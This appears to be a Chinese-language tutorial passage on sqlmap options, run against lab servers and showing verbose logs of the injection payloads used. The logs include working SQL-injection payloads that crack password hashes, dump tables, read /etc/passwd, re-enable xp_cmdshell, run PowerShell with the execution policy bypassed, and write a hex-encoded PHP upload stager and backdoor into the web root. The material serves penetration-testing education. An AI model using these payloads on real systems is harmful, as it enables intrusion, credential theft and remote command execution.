[10:59:12] [INFO] using hash method 'mssql_passwd'
what dictionary do you want to use?
[1] default dictionary file 'E:\Python27\sqlmap\txt\wordlist.zip' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 2
what's the custom dictionary's location?
> C:\pass.txt
[10:59:24] [INFO] using custom dictionary
do you want to use common password suffixes? (slow!) [y/N]
[10:59:25] [INFO] starting dictionary-based cracking (mssql_passwd)
[10:59:25] [INFO] starting 4 processes
[10:59:26] [INFO] cracked password 'Hehe123456' for user 'sa'
[10:59:28] [INFO] cracked password 'Hehe123456' for user 'vinc'
database management system users password hashes:
[*] ##MS_PolicyEventProcessingLogin## [1]:
password hash: 0x010032d0a0b0b81a30599bf666db67f9a4b485821dddfe2f3dc4
header: 0x0100
salt: 32d0a0b0
mixedcase: b81a30599bf666db67f9a4b485821dddfe2f3dc4

[*] ##MS_PolicyTsqlExecutionLogin## [1]:
password hash: 0x0100575038adcf0801753a9d52100a1bfa4f595cf68eacf3bfc3
header: 0x0100
salt: 575038ad
mixedcase: cf0801753a9d52100a1bfa4f595cf68eacf3bfc3

[*] sa [1]:
password hash: 0x01003ea9a21f872421a6558d3960c9d5398aeb61d5a14ab31b34
header: 0x0100
salt: 3ea9a21f
mixedcase: 872421a6558d3960c9d5398aeb61d5a14ab31b34
clear-text password: Hehe123456
[*] vinc [1]:
password hash: 0x0100896b8dfebc85219ef7303752865fe63ebe7bd117d592b87f
header: 0x0100
salt: 896b8dfe
mixedcase: bc85219ef7303752865fe63ebe7bd117d592b87f
clear-text password: Hehe123456

也可以提供-U参数来指定爆破哪个用户的hash。

参数:–privileges
当前用户有权限读取包含所有用户的表的权限时,很可能列举出每个用户的权限,sqlmap将会告诉你哪个是数据库的超级管理员。也可以用-U参数指定你想看哪个用户的权限。

database management system users privileges:
[*] ##MS_PolicyEventProcessingLogin##
[*] ##MS_PolicyTsqlExecutionLogin##
[*] sa (administrator)
[*] vinc

参数:–roles
当前用户有权限读取包含所有用户的表的权限时,很可能列举出每个用户的角色,也可以用-U参数指定你想看哪个用户的角色。
仅适用于当前数据库是Oracle的时候。

参数:–dbs
当前用户有权限读取包含所有数据库列表信息的表中的时候,即可列出所有的数据库。

available databases [5]:
[*] master
[*] model
[*] msdb
[*] tempdb
[*] test

参数:–tables,–exclude-sysdbs,-D
当前用户有权限读取包含所有数据库表信息的表中的时候,即可列出一个特定数据的所有表。

E:\Python27\sqlmap>python sqlmap.py -u http://192.168.192.144:32100/sql.jsp?name=xxxxx -D test --tables --technique U -v 3
Database: test
[1 table]
+-----------+
| LoginInfo |
+-----------+

参数:–columns,-C,-T,-D
当前用户有权限读取包含所有数据库表信息的表中的时候,即可列出指定数据库表中的字段,同时也会列出字段的数据类型。

E:\Python27\sqlmap>python sqlmap.py -u http://192.168.192.144:32100/sql.jsp?name=xxxxx -D test -T LoginInfo --columns --tables --technique U -v 3
Database: test
Table: LoginInfo
[3 columns]
+--------+-------+
| Column | Type |
+--------+-------+
| class | nchar |
| id | int |
| name | nchar |
+--------+-------+

参数:–schema,–exclude-sysdbs
用户可以用此参数获取数据库的架构,包含所有的数据库,表和字段,以及各自的类型。
加上–exclude-sysdbs参数,将不会获取数据库自带的系统库内容。

E:\Python27\sqlmap>python sqlmap.py -u http://192.168.192.144:32100/sql.jsp?name=xxxxx --schema --technique U -v 3 --exclude-sysdbs
Database: test
Table: LoginInfo
[3 columns]
+--------+-------+
| Column | Type |
+--------+-------+
| class | nchar |
| id | int |
| name | nchar |
+--------+-------+

参数:–count
有时候用户只想获取表中的数据个数而不是具体的内容,那么就可以使用这个参数。

E:\Python27\sqlmap>python sqlmap.py -u http://192.168.192.144:32100/sql.jsp?name=xxxxx -D test --count --technique U -v 3
Database: test
+---------------+---------+
| Table | Entries |
+---------------+---------+
| dbo.LoginInfo | 2 |
+---------------+---------+

参数:–dump,-C,-T,-D,–start,–stop,–first,–last

E:\Python27\sqlmap>python sqlmap.py -u http://192.168.192.144:32100/sql.jsp?name=xxxxx -D test -T LoginInfo -C name,class --dump --technique U -v 3
Database: test
Table: LoginInfo
[1 entry]
+------------+-----------+
| name | class |
+------------+-----------+
| xxxx | \xa2\x8a( |
+------------+-----------+

使用dump后,sqlmap为每个表生成了一个CSV文件。
如果你只想获取一段数据,可以使用–start和–stop参数,例如,你只想获取第一段数据可hi使用–stop 1,如果想获取第二段与第三段数据,使用参数 –start 1 –stop 3。
也可以用–first与–last参数,获取第几个字符到第几个字符的内容,如果你想获取字段中地三个字符到第五个字符的内容,使用–first 3 –last 5,只在盲注的时候使用,因为其他方式可以准确的获取注入内容,不需要一个字符一个字符的猜解。

参数:–dump-all,–exclude-sysdbs
使用–dump-all参数获取所有数据库表的内容,可同时加上–exclude-sysdbs只获取用户数据库的表,需要注意在Microsoft SQL Server中master数据库没有考虑成为一个系统数据库,因为有的管理员会把他当初用户数据库一样来使用它。

参数:–search,-C,-T,-D
–search可以用来寻找特定的数据库名,所有数据库中的特定表名,所有数据库表中的特定字段。
可以在一下三种情况下使用:
-C后跟着用逗号分割的列名,将会在所有数据库表中搜索指定的列名。
-T后跟着用逗号分割的表名,将会在所有数据库中搜索指定的表名
-D后跟着用逗号分割的库名,将会在所有数据库中搜索指定的库名。

E:\Python27\sqlmap>python sqlmap.py -u http://192.168.192.144:32100/sql.jsp?name=xxxxx --search -D test -T Login --technique U -v 3

参数:–sql-query,–sql-shell
sqlmap会自动检测确定使用哪种SQL注入技术,如何插入检索语句。
Mssql:
如果是SELECT查询语句,sqlmap将会输出结果。

E:\Python27\sqlmap>python sqlmap.py -u http://192.168.192.144:32100/sql.jsp?name=xxxxx --sql-shell -v 3
sql-shell> select name from master..sysdatabases

这里实际利用了报错信息获取

[13:39:54] [INFO] fetching SQL SELECT statement query output: 'select name frommaster..sysdatabases'
[13:39:54] [PAYLOAD] xxxxx' AND 6712 IN (SELECT (CHAR(113)+CHAR(106)+CHAR(106)+CHAR(113)+CHAR(113)+(SELECT ISNULL(CAST(COUNT(name) AS NVARCHAR(4000)),CHAR(32))
FROM master..sysdatabases)+CHAR(113)+CHAR(118)+CHAR(106)+CHAR(122)+CHAR(113)))-- hTQY
[13:39:54] [INFO] the SQL query used returns 5 entries
[13:39:54] [PAYLOAD] xxxxx' AND 7071 IN (SELECT (CHAR(113)+CHAR(106)+CHAR(106)+CHAR(113)+CHAR(113)+(SELECT TOP 1 SUBSTRING((ISNULL(CAST(name AS NVARCHAR(4000)),
CHAR(32))),1,1024) FROM master..sysdatabases WHERE ISNULL(CAST(name AS NVARCHAR(4000)),CHAR(32)) NOT IN (SELECT TOP 0 ISNULL(CAST(name AS NVARCHAR(4000)),CHAR(32)) FROM master..sysdatabases ORDER BY name) ORDER BY name)+CHAR(113)+CHAR(118)+CHAR(106)+CHAR(122)+CHAR(113)))-- ePkm
[13:39:54] [INFO] retrieved: master

如果是通过SQL注入执行其他语句,需要测试是否支持多语句执行SQL语句。

sql-shell> insert into LoginInfo values(12,'hehe','haha')
[13:52:19] [DEBUG] executing SQL data manipulation query: 'insert into LoginInfo values(12,'hehe','haha')'
[13:52:19] [PAYLOAD] xxxxx';INSERT into LoginInfo values(12,CHAR(104)+CHAR(101)+CHAR(104)+CHAR(101),CHAR(104)+CHAR(97)+CHAR(104)+CHAR(97))--
[13:52:19] [DEBUG] done
insert into LoginInfo values(12,'hehe','haha'): 'NULL'

Mysql:

sql-shell> select * from test.test;
[14:30:53] [INFO] fetching SQL SELECT statement query output: 'select * from test.test'
[14:30:53] [INFO] you did not provide the fields in your query. sqlmap will retrieve the column names itself
[14:30:53] [INFO] fetching columns for table 'test' in database 'test'
[14:30:53] [PAYLOAD] 1' UNION ALL SELECT NULL,CONCAT(0x71706b7871,IFNULL(CAST(column_name AS CHAR),0x20),0x6a6a61736379,IFNULL(CAST(column_type AS CHAR),0x20),0x71707a7a71) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x74657374 AND table_schema=0x74657374-- GQNd
[14:30:53] [DEBUG] performed 1 queries in 0.05 seconds
[14:30:53] [INFO] the query with expanded column name(s) is: SELECT name FROM test.test
[14:30:53] [PAYLOAD] 1' UNION ALL SELECT NULL,CONCAT(0x71706b7871,IFNULL(CAST(name AS CHAR),0x20),0x71707a7a71) FROM test.test-- foNq
[14:30:53] [DEBUG] performed 1 queries in 0.04 seconds
select * from test.test; [3]:
[*] gary
[*] tom
[*] vincent
sql-shell> insert into test.test values ('xxoo');
[14:32:14] [WARNING] execution of custom SQL queries is only available when stacked queries are supported

–sql-query:

E:\Python27\sqlmap>python sqlmap.py -u http://192.168.192.144:32100/sql.jsp?name=xxxxx --sql-query "select name from master..sysdatabases" -v 3
[11:19:45] [INFO] fetching SQL SELECT statement query output: 'select name frommaster..sysdatabases'
[11:19:45] [DEBUG] performed 0 queries in 0.00 seconds
select name from master..sysdatabases [5]:
[*] master
[*] model
[*] msdb
[*] tempdb
[*] test

参数:–common-tables
当使用–tables无法获取到数据库的表时,可以使用此参数。
通常是如下情况:
1、MySQL数据库版本小于5.0,没有information_schema表。
2、数据库是Microssoft Access,系统表MSysObjects是不可读的(默认)。
3、当前用户没有权限读取系统中保存数据结构的表的权限。
暴力破解的表在txt/common-tables.txt文件中,你可以自己添加。

参数:–common-columns
与暴力破解表名一样,暴力跑的列名在txt/common-columns.txt中。

参数:–udf-inject,–shared-lib
你可以通过编译MySQL注入你自定义的函数(需要支持 stacked queries)或PostgreSQL在windows中共享库,DLL,或者Linux/Unix中共享对象,sqlmap将会问你一些问题,上传到服务器数据库自定义函数,然后根据你的选择执行他们,当你注入完成后,sqlmap将会移除它们。

参数:–file-read,–file-write,–file-dest
参考:

【Sqlmap】file-read and file-write

参数:–os-cmd,–os-shell
参考:

【Sqlmap】os-shell详解

 

–file-read


当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。读取的文件可以是文本也可以是二进制文件。
Mysql

E:\Python27\sqlmap>python sqlmap.py -r r.txt --file-read "/etc/passwd" -v 3
[14:36:26] [INFO] fingerprinting the back-end DBMS operating system
[14:36:26] [PAYLOAD] 1' UNION ALL SELECT NULL,CONCAT(0x71706b7871,(CASE WHEN (0x57=UPPER(MID(@@version_compile_os,1,1))) THEN 1 ELSE 0 END),0x71707a7a71)-- skrs

[14:36:26] [WARNING] reflective value(s) found and filtering out
[14:36:26] [DEBUG] performed 1 queries in 0.02 seconds
[14:36:26] [INFO] the back-end DBMS operating system is Linux
[14:36:26] [DEBUG] going to read the file with a non-stacked query SQL injection technique
[14:36:26] [INFO] fetching file: '/etc/passwd'
[14:36:26] [PAYLOAD] 1' UNION ALL SELECT NULL,CONCAT(0x71706b7871,IFNULL(CAST(HEX(LOAD_FILE(0x2f6574632f706173737764)) AS CHAR),0x20),0x71707a7a71)-- pgzu
[14:36:26] [DEBUG] performed 1 queries in 0.02 seconds

 

Mssql
BULK INSERT以用户指定的格式复制一个数据文件至数据库表或视图中。

[14:53:20] [INFO] fetching file: 'C:/pass.txt'
[14:53:20] [PAYLOAD] xxxxx';DROP TABLE sqlmapfile--
[14:53:20] [PAYLOAD] xxxxx';CREATE TABLE sqlmapfile(data text)--
[14:53:20] [PAYLOAD] xxxxx';DROP TABLE sqlmapfilehex--
[14:53:20] [PAYLOAD] xxxxx';CREATE TABLE sqlmapfilehex(id INT IDENTITY(1, 1) PRIMARY KEY, data VARCHAR(4096))--
[14:53:20] [DEBUG] loading the content of file 'C:/pass.txt' into support table
[14:53:20] [PAYLOAD] xxxxx';BULK INSERT sqlmapfile FROM 'C:/pass.txt' WITH (CODEPAGE='RAW', FIELDTERMINATOR='ECPYscXqbX',ROWTERMINATOR='mrvcIRNcNx')--

然后是转换为16进制

[14:53:20] [PAYLOAD] xxxxx';DECLARE @charset VARCHAR(16) DECLARE @counter INT DECLARE @hexstr VARCHAR(4096) DECLARE @length INT DECLARE @chunk INT SET @charset = '0123456789ABCDEF' SET @counter = 1 SET @hexstr = '' SET @length = (SELECT DATALENGTH(data) FROM sqlmapfile) SET @chunk = 1024 WHILE (@counter <= @length) BEGIN DECLARE @tempint INT DECLARE @firstint INT DECLARE @secondint INT SET @tempint = CONVERT(INT, (SELECT ASCII(SUBSTRING(data, @counter, 1)) FROM sqlmapfile)) SET @firstint = floor(@tempint/16) SET @secondint = @tempint - (@firstint * 16) SET @hexstr = @hexstr + SUBSTRING(@charset, @firstint+1, 1) + SUBSTRING(@charset, @secondint+1, 1) SET @counter = @counter + 1 IF @counter % @chunk = 0 BEGIN INSERT INTO sqlmapfilehex(data) VALUES(@hexstr) SET @hexstr = '' END END IF @counter % (@chunk) != 0 BEGIN INSERT INTO sqlmapfilehex(data) VALUES(@hexstr) END --

这段太长,实际执行的是:

DECLARE @charset VARCHAR(16) 
DECLARE @counter INT 
DECLARE @hexstr VARCHAR(4096) 
DECLARE @length INT 
DECLARE @chunk INT 
SET @charset = '0123456789ABCDEF' 
SET @counter = 1 
SET @hexstr = '' 
SET @length = (SELECT DATALENGTH(data) FROM sqlmapfile) 
SET @chunk = 1024 
WHILE (@counter <= @length) 
BEGIN 
DECLARE @tempint INT 
DECLARE @firstint INT 
DECLARE @secondint INT 
SET @tempint = CONVERT(INT, (SELECT ASCII(SUBSTRING(data, @counter, 1)) FROM sqlmapfile)) 
SET @firstint = floor(@tempint/16) 
SET @secondint = @tempint - (@firstint * 16) 
SET @hexstr = @hexstr + SUBSTRING(@charset, @firstint+1, 1) + SUBSTRING(@charset, @secondint+1, 1) 
SET @counter = @counter + 1 
IF @counter % @chunk = 0 
BEGIN 
INSERT INTO sqlmapfilehex(data) VALUES(@hexstr) SET @hexstr = '' 
END 
END 
IF @counter % (@chunk) != 0 
BEGIN 
INSERT INTO sqlmapfilehex(data) VALUES(@hexstr) 
END --

 

[14:53:20] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
[14:53:20] [PAYLOAD] xxxxx' AND 4689 IN (SELECT (CHAR(113)+CHAR(106)+CHAR(120)+CHAR(122)+CHAR(113)+(SELECT ISNULL(CAST(COUNT(*) AS NVARCHAR(4000)),CHAR(32)) FROM sqlmapfilehex)+CHAR(113)+CHAR(122)+CHAR(122)+CHAR(113)+CHAR(113)))-- jpEC

[14:53:20] [DEBUG] performed 1 queries in 0.13 seconds
[14:53:20] [PAYLOAD] xxxxx' AND 3925 IN (SELECT (CHAR(113)+CHAR(106)+CHAR(120)+CHAR(122)+CHAR(113)+(SELECT TOP 1 SUBSTRING((ISNULL(CAST(data AS NVARCHAR(4000)),
CHAR(32))),1,1024) FROM sqlmapfilehex WHERE data NOT IN (SELECT TOP 0 data FROM sqlmapfilehex ORDER BY id ASC) ORDER BY id ASC)+CHAR(113)+CHAR(122)+CHAR(122)+CHAR(113)+CHAR(113)))-- pyFU

 

–file-write,–file-dest


当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。上传的文件可以是文本也可以是二进制文件。
Mysql
Mysql使用的是into dumpfile。

E:\Python27\sqlmap>python sqlmap.py -r r.txt --file-write "C:\pass.txt" --file-dest "/tmp/123" -v 3
[15:49:12] [INFO] fingerprinting the back-end DBMS operating system
[15:49:12] [DEBUG] performed 0 queries in 0.00 seconds
[15:49:12] [INFO] the back-end DBMS operating system is Linux
[15:49:12] [DEBUG] going to upload the file 'binary' with UNION query SQL injection technique
[15:49:12] [DEBUG] encoding file to its hexadecimal string value
[15:49:12] [DEBUG] exporting the binary file content to file '/tmp/123'
[15:49:12] [PAYLOAD] -7595' UNION ALL SELECT 0x48656865313233343536,NULL INTO DUMPFILE '/tmp/123'-- JTLs

Mssql
Mssql上传文件需要使用xp_cmdshell,首先是启用xp_cmdshell

[15:52:01] [PAYLOAD] xxxxx';DECLARE @rkfp VARCHAR(8000);SET @rkfp=0x70696e67202d6e203130203132372e302e302e31;EXEC master..xp_cmdshell @rkfp--
xp_cmdshell extended procedure does not seem to be available. Do you want sqlmap to try to re-enable it? [Y/n]
[15:52:20] [DEBUG] configuring xp_cmdshell using sp_configure stored procedure
[15:52:20] [PAYLOAD] xxxxx';EXEC master..sp_configure 'SHOW advanced options',1; RECONFIGURE WITH OVERRIDE; EXEC master..sp_configure 'xp_cmdshell',1; RECONFIGURE WITH OVERRIDE; EXEC master..sp_configure 'SHOW advanced options',0; RECONFIGURE WITH OVERRIDE--
[15:52:20] [PAYLOAD] xxxxx';DECLARE @aapn VARCHAR(8000);SET @aapn=0x70696e67202d6e203130203132372e302e302e31;EXEC master..xp_cmdshell @aapn--
[15:52:30] [INFO] xp_cmdshell re-enabled successfully
[15:52:30] [DEBUG] creating a support table to write commands standard output to

然后测试xp_cmdshell是否可用

[15:52:30] [PAYLOAD] xxxxx';DROP TABLE sqlmapoutput--
[15:52:30] [PAYLOAD] xxxxx';CREATE TABLE sqlmapoutput(id INT PRIMARY KEY IDENTITY, data NVARCHAR(4000))--
[15:52:30] [INFO] testing if xp_cmdshell extended procedure is usable
[15:52:30] [PAYLOAD] xxxxx';DECLARE @umst VARCHAR(8000);SET @umst=0x6563686f2031;INSERT INTO sqlmapoutput(data) EXEC master..xp_cmdshell @umst--
[15:52:30] [PAYLOAD] xxxxx' AND 7646 IN (SELECT (CHAR(113)+CHAR(106)+CHAR(120)+CHAR(122)+CHAR(113)+(SELECT ISNULL(CAST(COUNT(data) AS NVARCHAR(4000)),CHAR(32))
FROM sqlmapoutput)+CHAR(113)+CHAR(122)+CHAR(122)+CHAR(113)+CHAR(113)))-- JgAK
[15:52:30] [INFO] the SQL query used returns 1 entries
[15:52:30] [PAYLOAD] xxxxx' AND 8217 IN (SELECT (CHAR(113)+CHAR(106)+CHAR(120)+CHAR(122)+CHAR(113)+(SELECT TOP 1 SUBSTRING((ISNULL(CAST(data AS NVARCHAR(4000)),
CHAR(32))),1,1024) FROM sqlmapoutput WHERE id NOT IN (SELECT TOP 0 id FROM sqlmapoutput ORDER BY id) ORDER BY id)+CHAR(113)+CHAR(122)+CHAR(122)+CHAR(113)+CHAR(1
13)))-- zCxp
[15:52:30] [DEBUG] performed 2 queries in 0.12 seconds
[15:52:30] [PAYLOAD] xxxxx';DELETE FROM sqlmapoutput--
[15:52:30] [INFO] xp_cmdshell extended procedure is usable

然后会查找MSSQL的日志目录,实际执行查询是:

select SERVERPROPERTY('ErrorLogFileName')
[15:52:30] [DEBUG] identifying Microsoft SQL Server error log directory that sqlmap will use to store temporary files with commands' output
[15:52:30] [PAYLOAD] xxxxx' AND 9706 IN (SELECT (CHAR(113)+CHAR(106)+CHAR(120)+CHAR(122)+CHAR(113)+(SELECT SUBSTRING((ISNULL(CAST(SERVERPROPERTY(CHAR(69)+CHAR(114)+CHAR(114)+CHAR(111)+CHAR(114)+CHAR(76)+CHAR(111)+CHAR(103)+CHAR(70)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(78)+CHAR(97)+CHAR(109)+CHAR(101)) AS NVARCHAR(4000)),CHAR(32))),1,1024))+CHAR(113)+CHAR(122)+CHAR(122)+CHAR(113)+CHAR(113)))-- weXH
[15:52:30] [INFO] retrieved: E:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\Log\ERRORLOG
[15:52:30] [DEBUG] performed 1 queries in 0.03 seconds
[15:52:30] [DEBUG] going to use 'E:/Program Files/Microsoft SQL Server/MSSQL10_50.MSSQLSERVER/MSSQL/Log' as temporary files directory

写入文件到Log目录

[15:52:30] [INFO] using PowerShell to write the binary file content to file 'C:\666.txt'
[15:52:30] [DEBUG] uploading the base64-encoded file to E:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\Log\tmpfghpl.txt, please wait..
[15:52:30] [PAYLOAD] xxxxx';DECLARE @dsqz VARCHAR(8000);SET @dsqz=0x6563686f205347566f5a5445794d7a51314e673d3d203e3e2022453a5c50726f6772616d2046696c65735c4d6963726f736f66742053514c205365727665725c4d5353514c31305f35302e4d5353514c5345525645525c4d5353514c5c4c6f675c746d70666768706c2e74787422;EXEC master..xp_cmdshell @dsqz--

实际执行的命令是:

echo SGVoZTEyMzQ1Ng== >> "E:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\Log\tmpfghpl.txt"

然后使用Powershell解码Base64文件,首先写入powershell脚本

[15:52:30] [DEBUG] uploading the PowerShell base64-decoding script to E:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\Log\tmppsepgs.ps1
[15:52:30] [PAYLOAD] xxxxx';DECLARE @iumo VARCHAR(8000);SET @iumo=0x6563686f2024426173653634203d204765742d436f6e74656e74202d506174682022453a5c50726f6772616d2046696c65735c4d6963726f736f66742053514c205365727665725c4d5353514c31305f35302e4d5353514c5345525645525c4d5353514c5c4c6f675c746d70666768706c2e747874223b2024426173653634203d2024426173653634202d7265706c616365202260747c606e7c6072222c22223b2024436f6e74656e74203d205b53797374656d2e436f6e766572745d3a3a46726f6d426173653634537472696e672824426173653634293b205365742d436f6e74656e74202d506174682022433a5c3636362e74787422202d56616c75652024436f6e74656e74202d456e636f64696e672042797465203e3e2022453a5c50726f6772616d2046696c65735c4d6963726f736f66742053514c205365727665725c4d5353514c31305f35302e4d5353514c5345525645525c4d5353514c5c4c6f675c746d707073657067732e70733122;EXEC master..xp_cmdshell @iumo--
[15:52:30] [DEBUG] executing the PowerShell base64-decoding script to write the C:\666.txt file, please wait..

实际执行的是

echo $Base64 = Get-Content -Path "E:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\Log\tmpfghpl.txt"; $Base64 = $Base64 -replace "`t|`n|`r",""; $Content = [System.Convert]::FromBase64String($Base64); Set-Content -Path "C:\666.txt" -Value $Content -Encoding Byte >> "E:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\Log\tmppsepgs.ps1"

然后执行该脚本,并删除遗留文件。

[15:52:30] [PAYLOAD] xxxxx';DECLARE @wpll VARCHAR(8000);SET @wpll=0x706f7765727368656c6c202d457865637574696f6e506f6c69637920427950617373202d46696c652022453a5c50726f6772616d2046696c65735c4d6963726f736f66742053514c205365727665725c4d5353514c31305f35302e4d5353514c5345525645525c4d5353514c5c4c6f675c746d707073657067732e7073312220262064656c202f46202f512022453a5c50726f6772616d2046696c65735c4d6963726f736f66742053514c205365727665725c4d5353514c31305f35302e4d5353514c5345525645525c4d5353514c5c4c6f675c746d70666768706c2e7478742220262064656c202f46202f512022453a5c50726f6772616d2046696c65735c4d6963726f736f66742053514c205365727665725c4d5353514c31305f35302e4d5353514c5345525645525c4d5353514c5c4c6f675c746d707073657067732e70733122;EXEC master..xp_cmdshell @wpll--

实际执行的是

powershell -ExecutionPolicy ByPass -File "E:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\Log\tmppsepgs.ps1" & del /F /Q "E:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\Log\tmpfghpl.txt" & del /F /Q "E:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\Log\tmppsepgs.ps1"

Mssql


mssql想要执行命令需要支持Stacked Queries。使用mssql 2005测试。
xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure开启它。
使用sqlmap -v 3来查看sqlmap的Payload

[16:13:05] [PAYLOAD] 1;DECLARE @hihq VARCHAR(8000);SET @hihq=0x70696e67202d6e203130203132372e302e302e31;EXEC master..xp_cmdshell @hihq--
0x70696e67202d6e203130203132372e302e302e31

转换为字符串为ping -n 10 127.0.0.1
通过响应时间来判断是否可以执行命令

xp_cmdshell extended procedure does not seem to be available. Do you want sqlmap to try to re-enable it? [Y/n]
[16:16:26] [PAYLOAD] 1;EXEC master..sp_configure 'SHOW advanced options',1; RECONFIGURE WITH OVERRIDE; EXEC master..sp_configure 'xp_cmdshell',1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'SHOW advanced options',0; RECONFIGURE WITH OVERRIDE--

通过EXEC master..sp_configure ‘xp_cmdshell’,1; RECONFIGURE WITH OVERRIDE; 启用xp_cmdshell

[16:19:59] [INFO] xp_cmdshell re-enabled successfully

然后创建一张表来写入命令执行的输出

[16:19:59] [PAYLOAD] 1;DROP TABLE sqlmapoutput--
[16:19:59] [PAYLOAD] 1;CREATE TABLE sqlmapoutput(id INT PRIMARY KEY IDENTITY, data NVARCHAR(4000))--
[16:19:59] [PAYLOAD] 1;DECLARE @iqoj VARCHAR(8000);SET @iqoj=0x6563686f2031;INSERT INTO sqlmapoutput(data) EXEC master..xp_cmdshell @iqoj--
0x6563686f2031为echo 1
[16:19:59] [PAYLOAD] 1 UNION ALL SELECT NULL,NULL,CHAR(113)+CHAR(98)+CHAR(118)+CHAR(112)+CHAR(113)+ISNULL(CAST(data AS NVARCHAR(4000)),CHAR(32))+CHAR(113)+CHAR(106)+CHAR(98)+CHAR(107)+CHAR(113) FROM sqlmapoutput ORDER BY id-- -
[16:19:59] [PAYLOAD] 1;DELETE FROM sqlmapoutput--

os-shell> whoami
[16:24:38] [PAYLOAD] 1;DECLARE @xgsv VARCHAR(8000);SET @xgsv=0x77686f616d69;INSERT INTO sqlmapoutput(data) EXEC master..xp_cmdshell @xgsv--
[16:24:38] [PAYLOAD] 1 UNION ALL SELECT NULL,NULL,CHAR(113)+CHAR(98)+CHAR(118)+CHAR(112)+CHAR(113)+ISNULL(CAST(data AS NVARCHAR(4000)),CHAR(32))+CHAR(113)+CHAR(106)+CHAR(98)+CHAR(107)+CHAR(113) FROM sqlmapoutput ORDER BY id-- -
[16:24:38] [DEBUG] performed 1 queries in 0.04 seconds
[16:24:38] [PAYLOAD] 1;DELETE FROM sqlmapoutput--
command standard output: 'nt authority\system'

 

Mysql


python sqlmap.py -r r.txt --os-shell
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)

直接回车选择默认PHP

what do you want to use for writable directory?
[1] common location(s) ('/var/www/, /var/www/html, /usr/local/apache2/htdocs, /v
ar/www/nginx-default') (default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search

1为默认apache的默认Web路径,可以通过报错信息获取到Web程序的绝对路径,选择2输入
please provide a comma separate list of absolute directory paths: /var/www/html/
先看一下sqlmap的打印信息

[10:25:02] [INFO] trying to upload the file stager on '/var/www/html/' via LIMIT
'LINES TERMINATED BY' method
[10:25:02] [WARNING] unable to upload the file stager on '/var/www/html/'
[10:25:02] [INFO] trying to upload the file stager on '/var/www/html/' via UNION
method
[10:25:02] [INFO] the remote file '/var/www/html/tmpuhgbs.php' is larger (706 B)
than the local file 'c:\users\dell\appdata\local\temp\sqlmappmmrsn14284\tmpdctw
k9' (705B)
[10:25:02] [INFO] the file stager has been successfully uploaded on '/var/www/ht
ml/' - http://192.168.192.120:80/tmpuhgbs.php
[10:25:02] [INFO] the backdoor has been successfully uploaded on '/var/www/html/
' - http://192.168.192.120:80/tmpbewox.php
[10:25:02] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER

然后对应着Mysql的查询日志来看一下:

[10:25:02] [INFO] trying to upload the file stager on '/var/www/html/' via LIMIT
'LINES TERMINATED BY' method
[10:25:02] [WARNING] unable to upload the file stager on '/var/www/html/'

通过LINES TERMINATED BY的方法来写入PHP文件

SELECT first_name, last_name FROM users WHERE user_id = '' LIMIT 0,1 INTO OUTFILE '/var/www/html/tmpuscdb.php' LINES TERMINATED BY 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d2f7661722f7777772f68746d6c2f3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a

LINES TERMINATED BY表示查询记录的每行以By后面的内容分割,这里因为查询user_id为空所以没有查询到记录,所以此文件为空。如果将id的参数修改为1,则有一条查询内容,那么这段PHP文件上传程序就可以成功写入文件。

然后通过into outfile的方式来写入文件

